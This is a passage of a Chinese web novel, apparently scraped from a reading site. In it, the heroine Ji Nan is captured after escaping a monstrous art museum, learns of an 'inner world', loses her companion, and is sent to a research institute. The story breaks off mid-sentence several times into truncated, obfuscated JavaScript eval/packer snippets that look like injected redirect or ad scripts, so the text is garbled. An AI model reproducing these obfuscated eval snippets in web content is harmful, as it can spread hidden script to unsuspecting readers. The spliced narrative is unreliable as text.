面前的建筑目测有两层,红白相间,很有艺术风格,楼顶没有怪物伸出的触手,也不再让人动弹不得,整个看起来普普通通,只要不进去,没人知道里面究竟存在着多么猎奇的怪物。 无论如何,总算结束了。 ——可是这仿佛等着他们落下来的网又是从而来? 她撑起身子,抹了把被鲜血浸湿的脸,没什么用,因为手的情况和脸差不多,季南衣衫褴褛,满身鲜血,看起来像个茹毛饮血的原始人。 季南忽地顿住,她坐起来,环顾四周,除了郑开麒外看不到第三个人的影子。 腰间似乎湿漉漉的…… 季南向水晶碎片所在的位置伸手,她掏出来 ——一颗正在跳动的、鲜血淋漓的心脏。 它在季南手中缓缓没了气力,彻底变成一摊死肉。 原来……在不完整的那一刻,体委就很难活下来了。 但就在此时: “D区编号23特异点发现幸存者两名。” 季南听到有人如此说,向声源方向看去,发现四五名穿的白色制服的人将他们团团包围,黑洞洞的枪口直冲着自己。 这几人训练有素,手里还带着家伙,季南根本找不到逃走的空隙,虽然不知道自己做错了什么,但季南还是老老实实地举起双手,示意自己没有恶意。 这不对劲,季南想。 就算他们是第一个重新出现的失踪人士也不至于他们如此‘款待’,这是对待‘幸存者’的态度吗? 但特异点指的应该是美术馆,季南猜测。 吸引季南注意力的不止面前的人,还有环境——周围陌生的建筑无一不暗示一个事实,这里不是季南常年居住的小区。 听不懂的编号,新出现的名词,还有令人摸不着头脑的处境,季南知道,一切还未结束,她又落入了新的怪圈。 “一人失去意识,一人清醒,申请麻醉处理。”其中一人对着对讲机说。 黑色的金属盒子发出滋滋噪音,模糊的声音从其中回答:“允许。” 他话音刚落,季南和郑开麒就被牢牢按在网中,动弹不得,其中一人还把枪口对准季南的脑袋,可谓万分谨慎。 季南没有挣扎,她不会在被抢指着的情况下自找没趣,给他们打麻药的人手脚利落,季南感觉脖子一痛,药液被注射到肌肉中,没过几秒,意识便在呼吸中逐渐消失了。 黑暗的,无边无际。 小孩子的哭嚎声在四周回响,季南听得见,却又不知道自己在哪。 她在未知的空间中飘荡游弋,不知过了多久,眼前的景象忽然有了实体。 季南还在美术馆。 周围没有别人,只有她一个,后方风路被堵死,季南无路可退,只能眼睁睁地看着巨大的怪物向前 向前 向前 直到她的眼眸倒映出肉块上的纹理,直到他们无限接近。 ——季南再次恢复知觉。 麻醉的药效还未完全过去,季南被噩梦吓出一身冷汗,熟悉的恶心感让脑中闪过一幕幕画面,她大口喘着气,顶着令人昏昏欲睡的头晕感尽力瞪大眼睛。 现在还不能确定当下的处境,她不能再睡了。 房间很暗,没有窗户,只有一块几乎占满整个墙壁的镜子正对着自己,按照电影的常规情节判断,那应该是个单向镜。 她尝试起身,但起不来。 季南这才发现自己被束缚住,好几根比她大腿还粗的束缚带将她牢牢禁锢在狭小的单人床上,别说起身,她连抬个头都会感到窒息。 可若真的想挣脱的话,也不是不可能。 季南向来对自己的怪力很有信心,否则也不能在美术馆中背着个大男人还能跑得过怪物。 她的怪力不是天生的,季南依稀知道这力量的来源,却不得其原理。 思来念去,季南放弃了这个想法,她可以挣脱束缚带,却不能挡住麻醉枪。 有人推门进来。 一共七个,都身着白色制服,三个人手中拿着枪,分别站在她两侧和身后,严阵以待,仿佛季南稍有挣扎就会将她就地击毙。 剩下四个人将一个大机器推进来,机器的主体没有外壳,各种颜色的线和零件密密麻麻地堆在外面。季南不知道这机器是做什么用的,她能叫上名字的零件只有一个——顶上有两个人脑袋大的显示屏。 推机器的其中三个人走出去,将门合拢,而留下是个老妇人,她面带微笑,问: “请问您能如实回答几个问题吗?” 语气像是电话里的AI服务。 “我能先……” 季南的话刚冒出头,就被三把齐刷刷举起来的枪给吓回去了。 于是季南立即改口:“好的我能。” “谢谢您的配合。” 老妇人将几个电极片贴到季南头上,季南一动不动,任由她动作,乖巧的像个小学生,没办法,被抢指着,谁乖巧不起来? 眼下看似情况严峻,但季南反而不那么担忧了。 若他们的目的是将自己杀死,那么首先,美术馆底下接住他们的网根本就不会存在。 其次,他们拿枪指着自己的行为根本不像行刑,而是更偏向防守。 但他们究竟在防着什么,季南无从得知。 一阵嗡嗡声后,仪器开始运行。 “请问您是哪里人?” “我说中文。”季南回答,一切尽在不言中。 季南回答的同时,显示屏上出现一列横向行走的波纹。 老妇人顿了一下,面色不变,继续问: “请问您最早的记忆是什么?” 最早的记忆? 她在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“得出的数值越高,就代表身为人类的部分越多。” “身为人类的部分?那另一部分是什么?”季南觉得自己的问题有点多,但她一定要找人问个明白。 否则她就会生活在问题之中了。 “另一部分,我们也无法确切的形容。”她顿了一会,补充道:“但我们经常管这个部分叫‘它’。” “它?”季南想起守则上的最后一句话:“它是什么?” “不知道,但很多东西都可以用‘它’来概括,例如…创造出这个世界的,就是‘它’。” “你是说,这个宇宙是‘它’创造出来的?”季南试图理解她的话。 那人愣了愣,苦笑一下,说:“不知道,我也是瞎猜的,你不要当真。” 老妇人领着季南走向进隔壁的房间,那里和刚刚房间的布局大差不差,但是有窗户。 季南看向窗外。 除了光线有点暗外,她没看出什么不对。 她说:“你看天空。” 于是季南看向天空。 “能告诉我现在是什么天气吗?” “阴天。”季南如实回答。 “这个世界一直都是阴天,没有太阳,没有天气,也没有四季。” 她在说什么?这个世界? “虽然外表与表世界一模一样,但是……这里不是你生长的地方。” “孩子,欢迎来到里世界。” 15. 第 15 章 按照老妇人的意思,美术馆是连接两个世界的时空隧道,像是蛀虫在世界边缘啃出来的洞。表世界在上,里世界在下,表世界的人只能从上面掉下来,里世界的人却不能克服重力飞上去。 这样的洞有很多很多,它们的一端在里世界的位置不变,但另一端会随机出现在世界各地,随便抽几个倒霉蛋进来。 很不幸,季南就是倒霉蛋之一。 所有失踪者都是倒霉蛋。 季南知道为什么没有一个失踪者重现人世,不是全都死了,也不是上层刻意隐瞒,他们只是单纯地消失在那个世界,进入另一个世界中,而自己和他们一样。 实不相瞒,这消息有点……超乎常理。 小说和电影上演的奇幻剧情在屏幕上看看会给观众带来新鲜感,但如今,其中剧情真的上演到自己身上,季南只觉得不现实。 恍然间,她感觉自己分成了两半,一半在脑海中神游,以为这一切都是梦境,这是人类面对重大变故的自我保护机制,季南无法阻止。 而另一半已经迅速接受了现实,她听见自己问:“和我同行的另一个人呢?他的情况如何?” “他的情况……身体上没什么问题,已经处理好了。”老妇人迟疑了一会,她捏不清两人的关系,还是实话实说,“那个特异点给他造成了巨大的精神污染…情况不太好,精神值只有六十出头。” 季南不知道精神值六十出头意味着什么。 老妇人也明白季南初来乍到什么的都不明白,开口解释: “他现在只能回答最简单的问题,主导意识的依旧是人类部分,但能不能真正醒来只能看运气。根据一直以来的经验,如果他不能在一个月内恢复神智的话,就可能永远也醒不来了,永久地丧失自理能力。” 通俗意义上讲,就是疯了。 她顿了顿,悄悄观察季南的神情,言语中不自觉透露出关切,“我们已经通过了安乐死法案,如果他一直这样……” 季南静静听着,已然明白老妇人接下来的话。 她想起郑开麒比白瓷砖还要亮眼的牙齿,又想起他肩上的血窟窿。 回忆中,令人感动的情绪犹在,一想到郑开麒要消失,那么他携带的情感也会随之消散,季南忍不住差点落下泪来。 她在这方面的泪点低到令人发指。 这就是她看假到不行的烂俗剧也能哭掉半盒纸巾。 “如果有钱呢?”季南问。 虽然她现在身无分文。 季南长得好看,但不是唯有柔美,而是掺了些棱角,显得不好接近,平时不说话时颇有些高岭之花的味道。放到大街上回头路奇高,据班里人开玩笑说,全校男生只分为两种,一种是喜欢季南的,另一种是已经有对象的。 但此时,她长发散乱,脸颊带着血,原本清澈的明目染上一圈红色,明明狼狈却让人心生怜意,老妇人于心不忍,却依旧道出实情:“有钱也不行,现在的资源很难向对城邦没有用的人倾斜,这不是他一个人的事。” “若是给你男朋友开了先河,其余人也必定要效仿,到时候肯定要多出一堆人。” 老妇人拍拍季南的后背,安慰道:“现在还没准呢,不是板上钉钉的事,说不定你男朋友会醒过来。” 她眼中楚楚可怜的小姑娘澄清道:“他不是我男朋友。” 不仅不是男朋友,他们两个认识的时间甚至都没超过一天。 老妇人安慰着季南的手一顿,满腔怜惜差点没端住,但她又看见季南红肿的眼眶,脑中瞬间又演绎了一段少女暗恋多年,与心爱的男生共渡难关,但男生却因为保护她受伤的青春大戏。 于是她的眼神中的怜惜更甚,看得季南头顶忍不住冒出个问号。 “我能去看看他吗?”季南看出了老妇人对她的怜悯,虽然不知道这情绪是从何而来,但她知道应该趁此提出要求。 老妇人想了想,回答她:“可以,但是不能进房间。” “他的精神值现在是六十出头,可这不代表精神值没有下降的可能,维持仪器所用的电量很多,我们没办法时刻监测他的精神值,也就是说,他随时可能被它所占领。” “所以别靠近他。” 季南点了点头。 她跟着老妇人来到这层大厅,这里人不多,但都匆匆走过,即便季南满身血污,也没人多看一眼,看得出来,每个人都有事做,而且很忙。 他们身上的衣物都或多或少地打着补丁,季南忽然发现,她再仔细看了看前面领路的老妇人——她身上也有。 这里的生活条件很一般,至少一件衣服需要能穿很久,季南得出结论。 再观察四周,季南看见很多一排玻璃窗,上面还印着字——原来这里曾经是一家银行。 忽然,季南身后、她们来的方向传来砰地一声。 好像是枪响。 身为一位土生土长的国民,季南从未在影视节目之外的地方听过枪响,更何况还是在一点熟悉感都没有的陌生环境中。 她被吓了一跳,猛地回头向枪声的方向看去。 很多人也听到枪响了,但他们脸上没有惊慌失措,仅仅是沉了下面色,顿了顿脚步,或者握一下拳头,有的干脆根本没反应,像没听到似的继续前行。 通常来说,季南的反应并不大,但在这些人其中却像个异类。 估么着应该没什么事,季南又转过头去,发现老妇人正在前面等着自己,老妇人的面色也毫无异样,似乎早就习惯。 于是季南跟着老妇人继续往前走。 老妇人知道季南的紧张之处,说:“看出来了吧,这里以前是银行,你知道为什么吗?” 季南思索几秒,问了个貌似毫不相干的问题:“所有的……幸存者,是不是都要来这里一次?” 老妇人嘴角的笑容放大了一点,肯定了季南的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她看见郑开麒靠在床边坐着,肩膀上被包了厚厚一层,眼神无光,半低着头,嘴里一直在动,不知道在念叨着什么,整个人看起来浑浑噩噩,没有一点熟悉的影子。 “小姑娘,你是来探视的?” 季南愣了愣,才反应过来这个小姑娘是在叫自己,她看向从自己来到这就一直在旁边坐着的中年男性,点点头。 那大叔又说:“挺稀奇,我第一次看见有人能探视一个……”他顿了顿,找了个合适的形容词,“神志不清的。” “为什么这么说?”季南问。 他回答:“特异点里面的凶险你也知道,永远出不来的比活着出来的要多得多,而那些活着出来的,要疯一起疯,要清醒一起清醒,像你们这样一个清醒一个疯的,我还真没见过。” 季南似懂非懂,再回过头去看郑开麒,却直直对上他的目光。 16. 第 16 章 郑开麒不知何时抬起了头,五官麻木,目光呆滞,却直冲冲地看着季南,嘴上的动作一直没停过,作为被盯着的那个,季南有点毛骨悚然。 “……他在说什么?”季南问。 “谁知道呢,这种情况下谁都不准听里面的声音,这是规定。”大叔晓有兴致地看着两人:“话说你们两人可真是情投意合,他都这样了还对你有反应呢,啧啧。” “不,我跟他不是那种关系。”季南不想背上他们口中莫须有的关系。 在说这句话的时候,不知是不是错觉,季南看到郑开麒眼中闪过一抹红光。 下一秒,一直没开口讲话的老妇人像看到了什么可怖的东西似的,忽然大喊:“他眼睛红了!快去通知警卫队!拿仪器过来!” 不是错觉。 混乱与喧嚷中,季南又被领回那个有窗户的房间。 路上,季南听见仪器启动声音,不久后,一声枪响贯穿走廊。这声枪响到底是从她脑中响起的,还是从现实响起的,季南已经分不清。 窗外的阴云密布,仿佛即将下起骤雨,但季南知道雨滴不会落下来,看着无比熟悉却又万分陌生的天空,她心中一沉,忽然升起一股无力感。 季南脑中又浮现出郑开麒肩上那个血窟窿。 她面无表情,却有一滴泪从眼眶流出。 太可惜了,季南心说。 带着季南来到这个房间的人看着她进去后便转身离开,屋外人荒马乱,屋内的季南在房间中来回踱步,倒不是因为着急,而是因为身上太脏了,坐哪都感觉是对家具的亵渎。 脑中思绪像一团乱麻,季南想整理其中信息,却怎么也静不下心来,她的视线在房间中来回游弋,忽然被窗边的花盆吸引了视线。 那上面开了几朵白色的花。 季南走到花盆旁边,细细端详它几秒,伸出手在土壤中抓起一把土,拢成一个小土堆。 郑开麒肯定是轮不到墓地的,季南盯着这个小土堆想。 那这个就是他的墓了。 没有骨灰,没有遗物,甚至连死前身上穿的衣物都没有,就这么一个小小的土堆。 季南心中的郑开麒被埋在这里。 反正除了自己之外也没人知道他是谁。 又过了一会,那老妇人又回来,告诉季南郑开麒的死讯。 季南沉默地点点头,捧着那盆花,没说话。 “它很快就会枯萎二楼,如果你喜欢的话可以带走。”老妇人大概是看她可怜,便自作主张将花送给了季南。 正好,季南也想带走它,她对花何时枯萎一点兴趣都没有,在季南看来,自己捧着的是一个人的坟墓,她不关心坟墓上会开出什么。 敲门声响起,有人进来,示意老妇人出去。 老妇人冲那边点点头,对季南说:“这里有浴室,女性的衣服在左边的衣柜,你可以先收拾一下。”随即出门。 当老妇人再次进来,季南也洗漱完毕换好衣服,她对季南说:“你先在这住一晚,明天一早我叫你起来,我们得带你去一个地方看看。” 老妇人与季南说话时相隔了很远的距离,语气也不如刚刚慈祥,像是在防备着自己,季南看出来了,她不知道就洗一个澡的功夫又出了什么问题,但她选择按耐不动,装作对此毫无察觉的样子,就这老妇人的话问: “我能知道去哪吗?” “研究院。”老妇人回答。 黄昏已至,但这里的黄昏不是季南经常经历的那种。 没有落日,没有余晖,有的只是一点点变暗的天色,让她有种身在虚拟世界的错觉,而且制作这个虚拟世界的人显然没太上心,连个日月交替都做的如此敷衍。 老妇人离开时告诉季南:“除了医院、研究所等里面有重要设施的地建筑外,其他地区的供电一直在早上六点到晚上十二点这个区间,有什么要用电的事最好在这个时间内完成。” “还有,别到处乱跑,目前这个地方还是安全的。” 夜里,窗外没有一丝光亮,原来连能让人看清建筑轮廓的月光都是施舍。 有祷告声从开着的窗户中飘进来,季南听不太真切,依稀能听懂‘主’‘上帝’等词汇,大概还是那些东西。 人类在绝望中总要找点寄托,否则便无法在绝望中存活下去。 季南本以为自己会睡不着,但她低估了人类的适应能力,也低估了白天那张危机对她的损耗。 在不知多少人的祈祷中,季南安然入睡。 第二天的早饭是一个干面包外加一杯清水,季南昨天饿了一天,早已饥肠辘辘,却在现在看到食物的时候才反应过来。 人在饿的时候吃什么都好吃,即便是难以下咽的干面包,季南也能嚼出麦香的味道。 吃完早饭过后,季南动身前往最近的研究所。 窗外的风景与平时所见的相差不大,却莫名附上一层灰色的影子。季南坐在一辆……貌似是押送犯人用的铁皮货车中,驾驶位和副驾驶位与后面相隔开,只有一个一人脑袋大的敞口相通。 季南貌似目不转睛地盯着窗外,实际上是在用余光看那个敞口,她发现前面那两个人时不时要回头看看,像是在监视后面。 她身上有什么不对劲的地方? 季南想了想,想不出个所以然,只好低下头用指尖摩挲带出来的花盆。 这花盆塑料做的,不知用了多长时间,边缘毛毛躁躁,有点扎手,季南只摩挲了几下,便不再动弹。 “今天是个好天气。” 这句话不是季南说的,而是与季南同行的孩子,黑发黑眼,大概十来岁的样子,没有人陪同。 看来他们两个都是被监视的对象。 季南闻言又看了看天空——还是阴天,与昨天没什么区别。 “你能看出来吗?”男孩看向了季南。 季南当他无聊才跟自己讲话,便诚实地摇了摇头。 “其实我也不太确定,都是我自己总结的。” “今天是晴天,光照充足,若是阴天的话,应该比现在要暗几分。”他将手从车窗中伸出去,虚虚握着,像是要抓住另外一个世界的阳光,“如果空气湿一点,那天就是雨天。” 男孩空灵干净的声线如同初雪,稍微一碰就化在手里。 他身上没有补丁。 “那雪天呢?”季南顺着他的话问。 “雪天……大概是要冷一点吧,我不知道下雪的天是什么样子,书上没有,只有雪地。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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季南给他讲了很多,但路程实在是遥远,她把脑中关于雪的词汇全部掏空也不见目的地。 看出白贺鸣眼中的憧憬,季南适时露出些许困惑,问:“你觉得表世界怎么样?” “很好啊,至少书上说的很好,有雨有雪有四季,我一直想去那边看看。”一说起这个,白贺鸣眼中亮起了光,“老师告诉我们要努力学习,为社会做贡献,社会进步了,科技水平进步了,我们说不定都能迁到那边去。” 这个世界对于孩子来说就是一团迷雾,而学校在遥不可及的远方给他们立了盏灯。 季南没接他的话,而是问:“那你从未怨恨过吗?” “怨恨什么?”他不解。 “怨恨自己生在这里。”而不是表世界。 季南眼神清澈,仿佛提出这个问题只是无心之举。 好吧,季南承认自己这个问题掺了私心。 探究人心是季南的一个小小爱好,她想知道这个能在一直是阴天的世界里分辨天气的男孩心中阴暗面。 17. 第 17 章 “还好啦,要真说怨恨的话,我觉得还是一代人更有资格怨恨。” 男孩低头把玩着自己的手指,口中说出的话却让季南意外: “从小到大,我见过很多一代人看着天空流泪,还不太理解——表世界的天空就美成那个样子,一不见就要死要活的。” “后来我捡到一只狗,养了没几天就死了,那时我才明白一点。” 他斟酌半天:“……得到后再失去要比一开始就没有要更加痛苦。” “他们都看过那么美丽的天空,现在却只能看见阴天了……倘若让我现在变成色盲,那我肯定也不愿意。” 白贺鸣半天没听到回话,一抬头发现季南正怔怔地看着他,幽暗漆黑的眼神半点笑意也无,看得白贺鸣心里发毛。 看着他比这个世界要明媚的多的眼睛,季南心里想的则是:这孩子,比她想象中要更讨自己喜欢。 是的,她喜欢这样的。 不过这个让白贺鸣手脚不知道往哪放的情况没有持续太久,季南又重新扬起嘴角,仿佛刚刚的几秒只是一场从未发生过的幻觉: “理解的很好,只漏了一点点。”季南透过车窗看向天上的云,“那些盯着天空流泪的人,思念的不仅仅是天空。” 男孩的眼神中透着懵懂,季南并不想深聊这个,于是转移话题:“博学多识,心地善良,真是个好孩子。” 她说着摸了两把白贺鸣的头。 “学校的老师经常夸你吧。” 温柔大姐姐的人设很好把握,季南披起马甲来得心应手。 但白贺鸣眼中的神色却黯淡了几分。 他摇摇头,又点点头,半晌没说出什么,脸上写着抗拒。 碰巧副驾驶的人又回头看看他们,季南维持着温柔善良的人设,看着他露出一个堪称纯良的微笑。 那人没理她,将视线从季南身上移开,又看了白贺鸣好几眼,才缓缓转过头去。 男孩低着头不说话,没人看见季南倏然冷下来的表情。 这孩子绝对有问题。 但他不愿说,这可不行,季南心想。 遇到这种情况,一位合格的善良少女应该体谅他的难处,摸着他的头细心安慰,于是季南也确实这么做了。 来自同类的温暖如同无孔不入的水,轻而易举地渗透到土地深层中去。 尤其是在土质疏松的情况下。 没过几秒,他就坦白:“有夸过,次数不多,但是我宁愿他们不夸。” “我都能看出来的,他们的夸奖并不是因为我出色,而是一种安慰,无论是老师还是同学,他们的眼神中都带着,带着悲悯。” 男孩顿了顿,又补充道:“还有恐惧。” “为什么?” 上钩了。 这是她最想知道的问题。 白贺鸣听到这个问题后将笑容掩去几分,只留下隐隐勾住唇角的残存。 他沉默了一会,季南以为他不想说,但他开口: “因为我身上有病。” “病?”这个回答又叫季南意外。 她实在看不出这孩子身上有什么病。 “精神畸变症,每个得这个病的人都会产生不同的症状。” 男孩不自觉抓紧衣角,四处乱飘的眼神泄露出几分不安。 “在我身上就是……”白贺鸣声音越来越小,抬眼看了下季南,发现她神色无异,便继续说,“自从我被发现,精神值就一直在降低,从未回升过,虽然进程很慢,但不知道会不会停下来,也不知道会低到什么程度。” “说不定会低到五十以下。” 为什么别人看他的眼神中会带有恐惧,已经明了。 在别人的眼中,这个孩子与人类的距离已经越来越远,他不再是生存群体的一员,而是‘它’的容器。 但他们又忍不住对其中的可怜同类心生同情,于是又送出与他来说可有可无的怜悯。 季南迫切地想知道关于白贺鸣的事当然不是因为同情心泛滥——自己正与白贺鸣在同一辆车上被‘押送’到研究所,换句话来说,在那些人眼里,她与白贺鸣是同类型的存在。 白贺鸣因为精神畸变症被列为危险人物,那她是什么? 更让人困惑的是——让这么一个堪称定时炸弹的人去学校上课,真的好吗。 “我其实不太懂。”他看季南没有那么排斥,鼓起勇气,问:“我是很可怕的存在吗?因为这个病?” 季南颇有怪异,但没机会再问,车辆缓缓停下,他们抵达了目的地。 二十多个穿着白色制服的工作人员将这辆车围了个水泄不通,每个人都拿着枪,直到未收的那个人示意,驾驶位的两个人才示意季南和白贺鸣下车,而他们却一点下车的意思都没有。 确认季南和白贺鸣两人完全被白衣人接收,他们开着车扬长而去。 他们被白衣人裹挟着向前走,在群楼之间左拐右拐,最终进入一栋平平无奇的老旧居民楼。 白贺鸣因为每半个月都要去研究院做例行检查,一路上状态如常,还有拍着季南的手背安慰她的余力,季南问他为什么会响起安慰自己,白贺鸣不假思索的回答: “我第一次来的时候挺害怕的,季姐不也是第一次来吗?” 季南抱着花盆面色不变,视线却不自觉飘到旁边。 她不害怕。 还有,直球打的很好,下次不要再打了。 居民楼的楼梯一节高一节低,全为水泥铺成,做工粗糙,脚感奇差,墙皮开裂,露出灰黑的内侧,无一不通露出岁月的斑驳来。 季南跟着白衣人向上走,脑中不合时宜地闪过一个念头:里世界真就穷到这种地步?连研究用的区域都这么简陋。 但季南的理智却告诉她事实并非如此。 毕竟监察所都没这么寒碜。 果然,在打开最顶层的一个破铁门后,一切豁然开朗。 所有住户室都被打通,连成一整个大厅,灯光明亮,各种季南所不能理解的高科技设备排列成行,地板、墙壁……目所能及的地方洁白无瑕,仿佛与老旧楼道差了一个时代的距离。 季南佯装不经意,回头看了一眼——那所谓的破铁门内里比外层看起来要靠谱的多,若是从外面看,这门就像个破铁片,随便来个人就能锤出个窟窿,但它其实有三十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没有攻击表现,没有传染表现,行为举止正常,精神值也正常,除了同行人精神值过低之外,这不就是个正常人吗?搞这么大阵仗?” 现在说起普通话已经没用了,她第一句话给季南的第一印象估计能让季南记一辈子。 “不仅如此,他们是在‘下班时间’出来的。”守卫说。 “下班时间?真的假的。”她来兴趣了。 “真的。” 这两人聊得有来有回,但在季南眼里宛如加密通话。 于是季南挥挥手,增加自己的存在感:“下班时间是什么,两位有兴趣给我解答一下吗?” 人家两个人谈得正欢,有人忽然差了一嘴,你觉得那个人尴不尴尬? 作为那个第三者,季南很负责地告诉你,没什么好尴尬的,如果你不尴尬那尴尬的就是别人,更何况情报比脸皮要重要的多。 在这个世界里,脸皮可不能当饭吃。 18. 第 18 章 守卫如临大敌地看着季南,不敢回答,但他旁边的‘睿智’小姐却自然地回应: “下班时间啊……让我想想怎么给你解释。” “就这样跟她说话真的好吗?”守卫惊了。 ‘睿智’小姐用难以形容的眼神看着他,仿佛是在问他为何如此大惊小怪: “档案上都说了没有传染表现,为什么不能对话啊?”她拍拍守卫的肩膀,语重心长道,“要相信科学。” 守卫呵呵一笑:“我不觉得这个世界还有科学可言。” 季南觉得守卫说的没错。 ‘睿智’小姐装作没听到守卫说的话,摸着下巴说: “‘下班时间’大概就是……”她觉得这样说不太好让人理解,于是换了个思路:“特异点是什么你知道吧?” 季南点点头。 “有些特异点里面存在时间限制,虽然特异点里面与外界的时间对不太上……举个例子,你在八点进入特异点,但在里面的时间可能是九点,十点,或者根本没有时间概念。” “假如里面限制的最晚时间在外界看是十三点,那么无论里面的时间限制是多少,无论里面的人从里面过了多久,在外界看,他们永远在进入特异点同一天的十三点前出来。” “如果里面的人没在这个时间节点前出来,我们将默认他们死在了里面。” “因为已经确定不会有人再出来,巡逻的人虽然还在工作,但只是在特异点外走个过场,所以我们亲切地将它称为‘下班时间’,当然,不同特异点的‘下班时间’是不一样的。” “明白了吗?” 季南恍然大悟,她确实是在美术馆开业时间之外的时间点出来的。 别说这些里世界居民,就算是她自己也会对如此特殊的个体多加防范。 “你和你的同伴是第一个在‘下班时间’出来的,很稀奇,十分稀奇,稀奇到爆炸了。” ‘睿智’小姐踏着恨天高一步一步走到季南的牢房前,眯起眼睛审视着面前的特异生物: “那个同伴,是被你带出来的吧,他本来应该死在里面的。”她说,“死在监察局也没差,档案中说他最高时的精神值只有六十出头,在我看来,他在达到限制节点的那刻便永远留在了里面。” “但你为什么能活下来?而且神智清明,精神值也没有降低多少。按理来说,你应该也永远地被留在里面才对。” 季南毫无畏惧直视着她,上扬嘴角,露出堪称纯良的笑容。 “我也很想知道。” ‘睿智’小姐冷下脸,紧盯着季南不放,充棉穿透力的目光似乎要将季南整个人都穿透,好看清里面究竟是人类还是……它。 “你这么看着我也没用,我不是你们的敌人。” ‘睿智’小姐表现的很有攻击性,季南可以选择与她对峙,但没必要,她觉得自己有必要表明自己的立场。 在这个世界,人类与人类至少要团结起来,否则就真的太悲哀了。 “你叫什么名字?”陈助理问。 “季岚。”季南依旧报上假名。 陈助理若有所思地将她的名字在口中绕了两三遍,随即说: “如果你真的是人类的话,我反而要为你感到悲哀了。”此话意味不明。 但季南却听懂了,这句话给她提了个醒,她心中思绪一转,想到:考虑到自己的特殊性,她本身会成为这种现象的最佳研究对象。 面对珍贵的研究标本,研究所会让她离开吗?下半辈子大概都不会。 她甚至都不会有白贺鸣那样的待遇。 如今所经历的一切宛如投向记忆海洋的钩子,轻而易举地勾起季南不愿回想的过去。 刺鼻的气味、手术灯、反着白光的针尖、疼痛、失去意识、混乱……还有不知何年何月何日,仿佛一辈子就只能遭受痛苦的绝望。 不行…她不想再经历一遍。 季南脑海中的光影明明暗暗,最终汇成一句话——得找机会离开研究所。 在此时‘睿智’小姐将视线收回,因此错过了季南微微涣散的眼神。 她转而问守卫:“监察局那边怎么说?” “监察局那边说上报给中心政府了,听说徐博士最近在这,中心政府那边让送过来给徐博士看看。”守卫回答。 本来一切还好,但徐博士这三个字一出口,‘睿智’小姐眼神立马变得不太友善: “徐博士、徐博士。”这名字在她嘴里滚动了两圈,随即被狠狠地嚼烂,“人家可是大名鼎鼎的人物,怎么有闲工夫来做这些小事情呢?” 看来她相当不待见她口中的徐博士,张口便是阴阳怪气。 “我说他怎么偏偏就在今天出门了呢,一定是听说有活来了。”她差点没把高跟鞋的跟给跺断,“真是受够了!滚吧!赶紧滚吧!最好别滚回来!以后见到他一次收拾他一次!” 季南神情有些恍惚,但没人注意到。 “咱冷静一下,陈助理,还有人等着……” “住口!”她指着守卫,眼睛一瞪。 “叫我陈博士。” “好,好的,陈博士,咱们冷静一点。” 陈助理没听:“你知道徐魏琛他整天在干什么吗!除了吃喝玩乐睡还是吃喝玩乐!他的研究,你知道他的研究项目在哪吗?” 她没想等人回答:“在他妈我手上!他大手一指,我就得任劳任怨的去,实验分析记录全都我一个人干,最后论文还没我名字,人权何在!别人毕业后跟着导师混吃混喝,就我累死累活跟条狗一样,他这都能成博士我就不行?” “最主要的不是这些,最主要的是什么呢?” “最主要的是,他还不给我涨工资!典型的让马跑还不给马草,万恶的资本主义!” 守卫心里咯噔一下,这可说到他心坎里去了,工资问题绝不能忍,那可是他们的血汗钱。 “请问一下,陈助……” 陈助理犀利的眼神撇过来,他立马改口: “陈博士,请问您现在的工资……” 她说了一个数字,守卫顿时默然。 哈哈,他有什么资格担心呢。 在他们谈话谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有喜欢高的也有喜欢矮的,有良民自然就有犯罪者,相同的,有将‘它’视为洪水猛兽的人,也有把‘它’当做神祇的疯子。 她想起研究所的伪装,原来这伪装防的不是‘它’,而是同类。 内忧外患,季南不觉得人类前途有光明可言。 “城里肯定有奸细,我觉得没跑。”守卫说。 话语间,那二十几个白衣人已经走到楼下。 陈助理沉默几秒,后退几步,拉开了与窗口的距离,她似乎已经料想到接下来要发生的事,尽力压制着颤抖的声线:“我说…你刚刚下楼的时候看到巡逻人员了吗?” 守卫陷入回忆,神色愈发僵硬:“好像…好像没有。” 他们身后的季南已经从他们的对话中拼凑出了一切 ——城外的教徒最近非常猖狂,进城里专门为了搞破坏,陈助理没有接到第二批人的通知,本来应该在附近巡逻的人已经被干掉了,那这所谓的第二波人究竟是谁不言而喻。 是伪装成白衣人的教徒。